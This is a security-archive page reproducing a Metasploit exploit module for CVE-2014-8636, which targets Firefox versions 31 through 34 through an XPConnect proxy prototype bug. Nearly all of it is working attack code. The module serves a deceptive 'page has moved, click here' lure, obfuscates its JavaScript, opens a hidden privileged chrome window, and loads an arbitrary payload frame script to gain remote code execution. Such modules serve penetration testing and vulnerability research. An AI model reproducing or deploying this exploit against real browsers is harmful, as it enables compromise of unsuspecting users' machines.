Firefox Proxy Prototype Privileged Javascript Injection

2015-03-2400:00:00

joev

packetstormsecurity.com

0.942 High

EPSS

Percentile

99.0%

JSON

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex/exploitation/jsobfu'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
include Msf::Exploit::Remote::BrowserAutopwn  
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',  
'Description' => %q{  
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect  
component and gaining a reference to the privileged chrome:// window. This exploit  
requires the user to click anywhere on the page to trigger the vulnerability.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'joev' # discovery and metasploit module  
],  
'DisclosureDate' => "Jan 20 2014",  
'References' => [  
['CVE', '2014-8636'],  
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]  
  
],  
'Targets' => [  
[  
'Universal (Javascript XPCOM Shell)', {  
'Platform' => 'firefox',  
'Arch' => ARCH_FIREFOX  
}  
],  
[  
'Native Payload', {  
'Platform' => %w{ java linux osx solaris win },  
'Arch' => ARCH_ALL  
}  
]  
],  
'DefaultTarget' => 0,  
'BrowserRequirements' => {  
:source => 'script',  
:ua_name => HttpClients::FF,  
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }  
}  
))  
  
register_options([  
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])  
], self.class)  
end  
  
def on_request_exploit(cli, request, target_info)  
send_response_html(cli, generate_html(target_info))  
end  
  
def default_html  
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."  
end  
  
def generate_html(target_info)  
key = Rex::Text.rand_text_alpha(5 + rand(12))  
frame = Rex::Text.rand_text_alpha(5 + rand(12))  
r = Rex::Text.rand_text_alpha(5 + rand(12))  
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin  
  
js = js_obfuscate %Q|  
var opts = #{JSON.unparse(opts)};  
var key = opts['#{key}'];  
var props = {};  
props.has = function(n){  
if (!window.top.x && n=='nodeType') {  
window.top.x=window.open("chrome://browser/content/browser.xul", "x",  
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");  
if (window.top.x) {  
Object.setPrototypeOf(document, pro);  
setTimeout(function(){  
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';  
  
setTimeout(function(){  
x.messageManager.loadFrameScript('data:,'+key, false);  
setTimeout(function(){  
x.close();  
}, 100)  
}, 100)  
}, 100);  
}  
}  
}  
var pro = Object.getPrototypeOf(document);  
Object.setPrototypeOf(document, Proxy.create(props));  
|  
  
%Q|  
<!doctype html>  
<html>  
<body>  
<script>  
#{js}  
</script>  
#{datastore['CONTENT'] || default_html}  
</body>  
</html>  
|  
end  
end  
`